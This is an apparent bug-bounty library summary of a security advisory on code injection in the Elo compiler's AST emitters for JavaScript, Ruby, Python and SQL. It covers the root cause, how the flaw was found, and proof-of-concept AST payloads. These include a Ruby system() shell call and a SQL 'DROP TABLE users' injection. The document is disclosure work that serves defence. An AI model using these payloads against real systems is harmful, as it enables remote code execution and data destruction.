# Elo backends have code injection via unvalidated emission of programmatic AST fields

Elo's programmatic AST API interpolates unvalidated node fields into emitted JS/Ruby/Python/SQL, letting AST consumers inject code and achieve RCE or SQL injection.

- Payout: Research
- Severity: high
- Program: Elo
- Found by: ultra-supara
- Disclosed: 2026-11-03
- CVE: CVE-2026-44265
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x9rp-7wh3-2rj5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x9rp-7wh3-2rj5
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:python tech:ruby technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce vuln:sqli

**Target:** Elo compiler AST API and backend emitters (JS/Ruby/Python/SQL)
**Root cause:** TypeScript field types are erased at runtime, so the AST API accepts arbitrary values in numeric literals, variable names, member-access properties, object keys, datapath segments, lambda params and SQL let bindings; each backend's emit stage interpolates them verbatim with no escaping.
**Steps:**
1. Pass `{ type: 'literal', value: "(console.log('PWN_INT_JS'),1)" }` to `compileToJavaScript`; emitted code executes the console.log on call.
2. Ruby: use value `"(system('touch /tmp/pwn_int_ruby'); 1)"` to create the sentinel file.
3. Python: use value `"(print('PWN_INT_PY') or 1)"` to print the sentinel.
4. SQL: pass `{ type: 'variable', name: "1; DROP TABLE users; --" }` to emit raw SQL injection.
5. Ruby datapath: `{ type: 'datapath', segments: ["a, system(`touch /tmp/pwn_dp_ruby`)"] }` emits `[:a, system(`touch /tmp/pwn_dp_ruby`)]`.
**How found:** Prior fix in 0.9.7 patched date/datetime/duration literal emitters via JSON.stringify after a report by naoyashiga; researchers generalised the same unvalidated-interpolation pattern across the remaining AST surface, enumerating at least 23 emission sites in six node-field categories and four backends.
**Exploitation:** An integrator that builds the AST from JSON-deserialised input, plugin output or other untyped sources lets an attacker control node fields; the emit stage writes those values into generated source, yielding RCE in JS/Ruby/Python backends and SQL injection in the SQL backend.
**Insight:** When a library exposes a programmatic AST/IR API, TypeScript types are erased at runtime — audit every emit site that interpolates a node field, and check whether earlier literal-escaping fixes were applied only to a subset of node kinds.

## Proof of concept (copied exactly from the original report)

**Numeric literal AST injection PoC**

```
{ type: 'literal', value: "(console.log('PWN_INT_JS'),1)" }
// emits: (function(_) { return (console.log('PWN_INT_JS'),1); })(null);
```

**SQL variable.name injection PoC**

```
{ type: 'variable', name: "1; DROP TABLE users; --" }
// emits: 1; DROP TABLE users; --
```

**Ruby datapath shell-exec PoC**

```
{ type: 'datapath', segments: ["a, system(`touch /tmp/pwn_dp_ruby`)"] }
// emits: [:a, system(`touch /tmp/pwn_dp_ruby`)]
```

